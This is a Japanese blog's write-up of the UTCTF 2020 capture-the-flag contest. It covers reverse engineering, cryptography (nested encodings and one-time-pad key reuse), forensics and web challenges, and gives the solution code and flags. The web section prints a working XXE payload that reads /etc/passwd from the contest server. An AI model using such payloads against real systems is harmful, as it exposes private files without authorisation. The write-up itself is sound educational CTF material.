kuzushikiのぺーじ

セキュリティに関することを書きたいですね

GitHub Twitter

UTCTF 2020 write up

UTCTF 2020に参加しました!

(team: team_Yamasan)

某CTFをやってみよう会にて参加しました。

自分は401点中301点を入れ、順位は329位 / 1001チーム(0点は除く)でした。

FireShot Capture 018 - UTCTF - utctf live

write upを書いていきます

[basics] reverse engineering (Reverse Engineering, 50pt)

問題ファイル: calc

ファイルの中身にフラグが含まれています。 stringsコマンドで確認しましょう。

root@kali:/media/sf_share# strings calc | grep utflag
utflag{str1ngs_1s_y0ur_fr13nd}

spooky store (Web, 50pt)

問題ページ

バミューダトライアングル、ピサの斜塔、ストーンヘンジの説明が書かれています。

Check Nearest Locationと書かれたボタンを押すと、そのスポットの緯度経度をページ下部に表示します。

The nearest coordinates to you are: 43.7230° N, 10.3966° E

Burp Suiteでリクエストを確認してみましょう。

POST /location HTTP/1.1
Host: web1.utctf.live:5005
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://web1.utctf.live:5005/
Content-Type: application/xml
Origin: http://web1.utctf.live:5005
Content-Length: 93
Connection: close

<?xml version="1.0" encoding="UTF-8"?><locationCheck><productId>1</productId></locationCheck>

どうやらPOSTメソッドでXML形式のリクエストを送っているようです。

XMLの脆弱性といえばXML External Entity(XXE)があります。

ここを参考にしてXXEを用いた攻撃を試してみます。

以下のようにリクエストを書き換えてから送ります。

上手くいけば/etc/passwdの内容が表示されるはずです。

POST /location HTTP/1.1
Host: web1.utctf.live:5005
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://web1.utctf.live:5005/
Content-Type: application/xml
Origin: http://web1.utctf.live:5005
Content-Length: 93
Connection: close

<!DOCTYPE name [
<!ENTITY h SYSTEM "file:///etc/passwd">  <!-- <D> -->
]>
<locationCheck><productId>1&h;</productId></locationCheck>

aa

やりました!!

一番下にフラグが書かれていました。

utflag{n3xt_y3ar_go1ng_bl1nd}

[basics] crypto (Cryptography, 50pt)

問題ファイル: binary.txt

ファイルの中身を確認してみます。(長いので一部のみ)

01010101 01101000 00101101 01101111 01101000 00101100 00100000 01101100 01101111 01101111 01101011 01110011 00100000 01101100 01101001 01101011 01100101 00100000 01110111 01100101 00100000 01101000 01100001 01110110 01100101 00100000 01100001 01101110 01101111 01110100 01101000 01100101 01110010 00100000 01100010 01101100 01101111 01100011 01101011 00100000 01101111 01100110 00100000 01110100 01100101 01111000 01110100 00101100 00100000 01110111 01101001 ...

2進数を文字コードとして、文字に置き換えてみましょう。

with open('binary.txt', 'r') as f:
    data = f.read()
data = map(lambda d: chr(int(d,2)), data.split())
print(''.join(data))

出力は以下の通りです。

Uh-oh, looks like we have another block of text, with some sort of special encoding. Can you figure out what this encoding is? (hint: if you look carefully, you'll notice that there only characters present are A-Z, a-z, 0-9, and sometimes / and +. See if you can find an encoding that looks like this one.)
TmV3IGNoYWxsZW5nZSEgQ2FuIHlvdSBmaWd1cmUgb3V0IHdoYXQncyBnb2luZyBvbiBoZXJlPyBJdCBsb29rcyBsaWtlIHRoZSBsZXR0ZXJzIGFyZSBzaGlmdGVkIGJ5IHNvbWUgY29uc3RhbnQuIChoaW50OiB5b3UgbWlnaHQgd2FudCB0byBzdGFydCBsb29raW5nIHVwIFJvbWFuIHBlb3BsZSkuCmt2YnNxcmQsIGl5ZSdibyBrdnd5Y2QgZHJvYm8hIFh5ZyBweWIgZHJvIHBzeGt2IChreG4gd2tpbG8gZHJvIHJrYm5vY2QuLi4pIHprYmQ6IGsgY2VsY2RzZGVkc3l4IG1zenJvYi4gU3ggZHJvIHB5dnZ5Z3N4cSBkb2hkLCBTJ2ZvIGRrdW94IHdpIHdvY2NrcW8ga3huIGJvenZrbW9uIG9mb2JpIGt2enJrbG9kc20gbXJrYmttZG9iIGdzZHIgayBteWJib2N6eXhub3htbyBkeSBrIG5zcHBvYm94ZCBtcmtia21kb2IgLSB1eHlneCBrYyBrIGNlbGNkc2RlZHN5eCBtc3pyb2IuIE1reCBpeWUgcHN4biBkcm8gcHN4a3YgcHZrcT8gcnN4ZDogR28gdXh5ZyBkcmtkIGRybyBwdmtxIHNjIHF5c3hxIGR5IGxvIHlwIGRybyBweWJ3a2QgZWRwdmtxey4uLn0gLSBncnNtciB3b2t4YyBkcmtkIHNwIGl5ZSBjb28gZHJrZCB6a2Rkb2J4LCBpeWUgdXh5ZyBncmtkIGRybyBteWJib2N6eXhub3htb2MgcHliIGUsIGQsIHAsIHYgaywga3huIHEga2JvLiBJeWUgbWt4IHpieWxrbHZpIGd5YnUgeWVkIGRybyBib3drc3hzeHEgbXJrYmttZG9iYyBsaSBib3p2a21zeHEgZHJvdyBreG4gc3hwb2Jic3hxIG15d3d5eCBneWJuYyBzeCBkcm8gT3hxdnNjciB2a3hxZWtxby4gS3h5ZHJvYiBxYm9rZCB3b2RyeW4gc2MgZHkgZWNvIHBib2Flb3htaSBreGt2aWNzYzogZ28gdXh5ZyBkcmtkICdvJyBjcnlnYyBleiB3eWNkIHlwZG94IHN4IGRybyBrdnpya2xvZCwgY3kgZHJrZCdjIHpieWxrbHZpIGRybyB3eWNkIG15d3d5eCBtcmtia21kb2Igc3ggZHJvIGRvaGQsIHB5dnZ5Z29uIGxpICdkJywga3huIGN5IHl4LiBZeG1vIGl5ZSB1eHlnIGsgcG9nIG1ya2JrbWRvYmMsIGl5ZSBta3ggc3hwb2IgZHJvIGJvY2QgeXAgZHJvIGd5Ym5jIGxrY29uIHl4IG15d3d5eCBneWJuYyBkcmtkIGNyeWcgZXogc3ggZHJvIE94cXZzY3Igdmt4cWVrcW8uCnJnaG54c2RmeXNkdGdodSEgcWdmIGlzYWsgY3RodHVpa2UgZGlrIHprbnRoaGt4IHJ4cWxkZ254c2xpcSByaXN5eWtobmsuIGlreGsgdHUgcyBjeXNuIGNneCBzeXkgcWdmeCBpc3hlIGtjY2d4ZHU6IGZkY3lzbntoMHZfZGk0ZHVfdmk0ZF90X3I0eXlfcnhxbGQwfS4gcWdmIHZ0eXkgY3RoZSBkaXNkIHMgeWdkIGdjIHJ4cWxkZ254c2xpcSB0dSBwZnVkIHpmdHlldGhuIGdjYyBkaXR1IHVneGQgZ2MgenN1dHIgYmhndnlrZW5rLCBzaGUgdGQgeGtzeXlxIHR1IGhnZCB1ZyB6c2Ugc2Nka3ggc3l5LiBpZ2xrIHFnZiBraHBncWtlIGRpayByaXN5eWtobmsh

1文目のヒントにより、これはbase64でエンコードされたデータだと分かります。

デコードしてみましょう。

import base64
with open('binary.txt', 'r') as f:
    data = f.read()
data = map(lambda d: chr(int(d,2)), data.split())
b64data = ''.join(data).split('\n')[-1]
print(base64.b64decode(b64data).decode(encoding='utf-8'))

出力は以下の通りです。

New challenge! Can you figure out what's going on here? It looks like the letters are shifted by some constant. (hint: you might want to start looking up Roman people).
kvbsqrd, iye'bo kvwycd drobo! Xyg pyb dro psxkv (kxn wkilo dro rkbnocd...) zkbd: k celcdsdedsyx mszrob. Sx dro pyvvygsxq dohd, S'fo dkuox wi wocckqo kxn bozvkmon ofobi kvzrklodsm mrkbkmdob gsdr k mybboczyxnoxmo dy k nsppoboxd mrkbkmdob - uxygx kc k celcdsdedsyx mszrob. Mkx iye psxn dro psxkv pvkq? rsxd: Go uxyg drkd dro pvkq sc qysxq dy lo yp dro pybwkd edpvkq{...} - grsmr wokxc drkd sp iye coo drkd zkddobx, iye uxyg grkd dro mybboczyxnoxmoc pyb e, d, p, v k, kxn q kbo. Iye mkx zbylklvi gybu yed dro bowksxsxq mrkbkmdobc li bozvkmsxq drow kxn sxpobbsxq mywwyx gybnc sx dro Oxqvscr vkxqekqo. Kxydrob qbokd wodryn sc dy eco pboaeoxmi kxkvicsc: go uxyg drkd 'o' crygc ez wycd ypdox sx dro kvzrklod, cy drkd'c zbylklvi dro wycd mywwyx mrkbkmdob sx dro dohd, pyvvygon li 'd', kxn cy yx. Yxmo iye uxyg k pog mrkbkmdobc, iye mkx sxpob dro bocd yp dro gybnc lkcon yx mywwyx gybnc drkd cryg ez sx dro Oxqvscr vkxqekqo.
rghnxsdfysdtghu! qgf isak cthtuike dik zknthhkx rxqldgnxsliq risyykhnk. ikxk tu s cysn cgx syy qgfx isxe kccgxdu: fdcysn{h0v_di4du_vi4d_t_r4yy_rxqld0}. qgf vtyy cthe disd s ygd gc rxqldgnxsliq tu pfud zftyethn gcc ditu ugxd gc zsutr bhgvykenk, she td xksyyq tu hgd ug zse scdkx syy. iglk qgf khpgqke dik risyykhnk!

1文目のヒントにより、これはROTで暗号化されたデータだと分かります。

アルファベットが一文字毎に?文字後のアルファベットに置き換えられています。

自然な文章になるまで1文字ずつずらします。

ここで復号しました。

alright, you're almost there! Now for the final (and maybe the hardest...) part: a substitution cipher. In the following text, I've taken my message and replaced every alphabetic character with a correspondence to a different character - known as a substitution cipher. Can you find the final flag? hint: We know that the flag is going to be of the format utflag{...} - which means that if you see that pattern, you know what the correspondences for u, t, f, l a, and g are. You can probably work out the remaining characters by replacing them and inferring common words in the English language. Another great method is to use frequency analysis: we know that 'e' shows up most often in the alphabet, so that's probably the most common character in the text, followed by 't', and so on. Once you know a few characters, you can infer the rest of the words based on common words that show up in the English language.
hwxdnitvoitjwxk! gwv yiqa sjxjkyau tya padjxxan hngbtwdnibyg hyiooaxda. yana jk i soid swn ioo gwvn yinu asswntk: vtsoid{x0l_ty4tk_ly4t_j_h4oo_hngbt0}. gwv ljoo sjxu tyit i owt ws hngbtwdnibyg jk fvkt pvjoujxd wss tyjk kwnt ws pikjh rxwloauda, ixu jt naioog jk xwt kw piu istan ioo. ywba gwv axfwgau tya hyiooaxda!

復号結果上部のヒントにより、これは単一換字暗号で暗号化されたデータだと分かります。

英語の文章では’e’という文字が最も使われているなど、文字の出現頻度を用いて解読(頻度解析)することができます。

手動でやるのは面倒なので[このツール]に解かせました。

congratulations! you have finished the beginner cryptography challenge. here is a flag for all your hard efforts: utflag{n0w_th4ts_wh4t_i_c4ll_crypt0}. you will find that a lot of cryptography is just building off this sort of basic knowledge, and it really is not so bad after all. hope you enjoyed the challenge!

フラグがありました!!

utflag{n0w_th4ts_wh4t_i_c4ll_crypt0}

One True Problem (Cryptography, 50pt)

暗号鍵が同じである2つの暗号文が与えられます。

213c234c2322282057730b32492e720b35732b2124553d354c22352224237f1826283d7b0651
3b3b463829225b3632630b542623767f39674431343b353435412223243b7f162028397a103e

CTFの一番好きなカテゴリについての会話を暗号化したものだそう。

問題名からワンタイムパッドを用いた暗号だと予想できます。

暗号鍵と平文のXORをバイトごとに取り、その結果を16進数に変換していると考えられます。

本来であれば鍵を知らないと絶対に解けませんが、CTFのカテゴリが平文に含まれることを利用して解いていきます。

※実は同じような問題のwriteupを書いてます。

2つの平文をm1, m2、鍵をkとすると、暗号文はそれぞれm1 ^ k, m2 ^ kになります。

CTFカテゴリの文字列をcとすると、XORの性質から以下の関係が成り立ちます。

(m1 ^ k) ^ (m2 ^ k) ^c = m1 ^ m2 ^ (k ^ k) ^ c = m1 ^ m2 ^ c

ここでm1m2のいずれかにcと同じ文字列が含まれていれば、m2m1を部分的に復号できます。

プログラムを書いて試してみましょう!

from Crypto.Util import number
enc1 = number.long_to_bytes(0x213c234c2322282057730b32492e720b35732b2124553d354c22352224237f1826283d7b0651).decode('utf-8')
enc2 = number.long_to_bytes(0x3b3b463829225b3632630b542623767f39674431343b353435412223243b7f162028397a103e).decode('utf-8')

# category, favoriteなどの文字列も含まれると予想
# 大文字でないと上手く復号できませんでした
cat = ['Cryptography'.upper(), 'Networking'.upper(), 'Binary Exploitation'.upper(), 'Reverse Engineering'.upper(), 'Web'.upper(), 'Forensics'.upper(), 'Misc'.upper(), 'Favorite'.upper(), 'Category'.upper()]

for c in cat:
    length = len(c)
    for i in range(len(enc1) - length + 1):
        dec = ""
        for j in range(length):
            dec += chr(ord(c[j]) ^ ord(enc1[i+j]) ^ ord(enc2[i+j]))
        print(c, i, dec)

出力のうち上手く復号できてそうな箇所をピックアップします。

CRYPTOGRAPHY 25  EXPLOITATIO
BINARY EXPLOITATION 19 RY IS CRYPTOGRAPHY!
CATEGORY 13 NE IS BI

平文が部分的に分かりました!

平文1:	*******************RY IS CRYPTOGRAPHY!
平文2:	*************NE IS BINARY EXPLOITATION

平文が分かれば対応する鍵の値も求められます。

from Crypto.Util import number
enc2 = number.long_to_bytes(0x3b3b463829225b3632630b542623767f39674431343b353435412223243b7f162028397a103e).decode('utf-8')

ans2 = ""
key = "NE IS BINARY EXPLOITATION"
for i in range(13, 13+len(key)):
    ans2 += chr(ord(enc2[i]) ^ ord(key[i-13]))
print(ans2)

以下の結果が得られました!!

m3_p4ds}utflag{tw0_tim3_p

m3_pの部分が一致しているので、フラグはutflag{tw0_tim3_p4ds}となります。

Observe Closely (Forensics, 50pt)

問題ファイル: Griffith_Observatory.png

画像ファイルは問題なく開けました。

Griffith_Observatory

binwalkで怪しいファイルが潜んでないか確認します。

root@kali:/media/sf_share# binwalk -e Griffith_Observatory.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 320 x 155, 8-bit/color RGBA, non-interlaced
41            0x29            Zlib compressed data, default compression
127759        0x1F30F         Zip archive data, at least v2.0 to extract, compressed size: 2587, uncompressed size: 16664, name: hidden_binary
130500        0x1FDC4         End of Zip archive, footer length: 22

hidden_binaryというzipファイルが含まれていました!

解凍して中身を見ていきます。

root@kali:/media/sf_share/_Griffith_Observatory.png.extracted/hidden_binary# ls -al
total 30
drwxrwx--- 1 root vboxsf 8192 Mar  9 17:23 .
drwxrwx--- 1 root vboxsf 4096 Mar  9 17:23 ..
-rwxrwx--- 1 root vboxsf    0 Feb 28 07:10 .bss
-rwxrwx--- 1 root vboxsf   76 Feb 28 07:10 .comment
-rwxrwx--- 1 root vboxsf   16 Feb 28 07:10 .data
-rwxrwx--- 1 root vboxsf  480 Feb 28 07:10 .dynamic
-rwxrwx--- 1 root vboxsf  157 Feb 28 07:10 .dynstr
-rwxrwx--- 1 root vboxsf  192 Feb 28 07:10 .dynsym
-rwxrwx--- 1 root vboxsf  216 Feb 28 07:10 .eh_frame
-rwxrwx--- 1 root vboxsf   52 Feb 28 07:10 .eh_frame_hdr
-rwxrwx--- 1 root vboxsf   13 Feb 28 07:10 .fini
-rwxrwx--- 1 root vboxsf    8 Feb 28 07:10 .fini_array
-rwxrwx--- 1 root vboxsf   28 Feb 28 07:10 .gnu.hash
-rwxrwx--- 1 root vboxsf   16 Feb 28 07:10 .gnu.version
-rwxrwx--- 1 root vboxsf   48 Feb 28 07:10 .gnu.version_r
-rwxrwx--- 1 root vboxsf   40 Feb 28 07:10 .got
-rwxrwx--- 1 root vboxsf   40 Feb 28 07:10 .got.plt
-rwxrwx--- 1 root vboxsf   27 Feb 28 07:10 .init
-rwxrwx--- 1 root vboxsf    8 Feb 28 07:10 .init_array
-rwxrwx--- 1 root vboxsf   28 Feb 28 07:10 .interp
-rwxrwx--- 1 root vboxsf   32 Feb 28 07:10 .note.ABI-tag
-rwxrwx--- 1 root vboxsf   36 Feb 28 07:10 .note.gnu.build-id
-rwxrwx--- 1 root vboxsf    0 Feb 28 07:10 NULL
-rwxrwx--- 1 root vboxsf   48 Feb 28 07:10 .plt
-rwxrwx--- 1 root vboxsf  192 Feb 28 07:10 .rela.dyn
-rwxrwx--- 1 root vboxsf   48 Feb 28 07:10 .rela.plt
-rwxrwx--- 1 root vboxsf    4 Feb 28 07:10 .rodata
-rwxrwx--- 1 root vboxsf  259 Feb 28 07:10 .shstrtab
-rwxrwx--- 1 root vboxsf  558 Feb 28 07:10 .strtab
-rwxrwx--- 1 root vboxsf 1560 Feb 28 07:10 .symtab
-rwxrwx--- 1 root vboxsf  549 Feb 28 07:10 .text

.textが怪しいので中身を見てみます。

root@kali:/media/sf_share/_Griffith_Observatory.png.extracted/hidden_binary# strings .text
u3UH
Ah, you H
found meH
utflag{2H
fbe9adc2H
ad89c71dH
a48cabe9H
0a121c0}H
[]A\A]A^A_

これはフラグなんでしょうか?

末尾のHを消して提出したら通りました!!

utflag{2fbe9adc2ad89c71da48cabe90a121c0}

1 Frame per Minute (Forensics, 50pt)

問題ファイル: signals.wav

音声ファイルを聴いてみると、ピーピー鳴っているのが分かります。

おそらく何かの信号でしょう。

問題文にSSTVという単語があったので調べてみるとSlow Scan TeleVisionという通信方式であることが分かります。

TeleVisionという名の通り、映像データに変換することができます。

どうやらpicoCTFにも同じような問題があったらしく、この方のwriteupが見つかりました。

上記リンクを参考に、このツールを使って音声を映像に変換しました。

Windows10であれば、[サウンドの設定]->[入力]->[ステレオミキサー]と設定すると、PCで再生した音声をそのままソフトに読み込ませることができます。

フラグが出てきました!!

signals

[basics] forensics (Forensics, 50pt)

問題ファイル: secret.jpeg

画像ビューワで開きましたが、上手く画像が表示されません。

おそらく中身は別ファイルなのでしょう。

stringsコマンドで中身を見ると、普通に文章が書かれていました。

grepコマンドでflagと書かれた行のみ抽出した結果、フラグが出てきました。

root@kali:/media/sf_share# strings secret.jpeg | grep flag
utflag{fil3_ext3nsi0ns_4r3nt_r34l}
flagellation. The boor replied that he was flogging him because he was
flagrant injustice to their great friendship in seeking circuitous
with the white flag of peace, the little bundle. It was dropped, and I
with royal flags coming along the road they were travelling; and
three small flags, which led him to conclude it must be carrying
By this time the cart with the flags had come up, unattended by anyone
What cart is this? What have you got in it? What flags are those?
a present to his Majesty; and the flags are our lord the King
near enough to see distinctly the flags, make out the colours and
the squirely flagellation shall have been completed, the white dove
been kept up so far begin to flag.
flagging energies were revived. Out of pure vexation he remained
flag-stone over it; for I would have you know, Se
flagrant offence. With this permission the youth began in these words.

utflag{fil3_ext3nsi0ns_4r3nt_r34l}

Spectre (Forensics, 50pt)

問題ファイル: song.wav

song.wavという名前なので歌が聴こえると思いきや、ジーという音のみ。

Audacityという音声解析ツールを使って解析していきます。

問題名がSpectreなので音声のスペクトルを表示させたところ、フラグが現れました。

song

Sanity Check (Misc, 1pt)

問題文に書かれているフラグを入れるだけです。

utflag{this_is_the_flag}

感想

CTFは一人でもくもくとやるのも良いですが、みんなで議論しながら解くのも面白いですね。 50ptの問題しか解けなかったのが悔やまれますが…

来週の某CTFをやってみよう会にてリベンジします。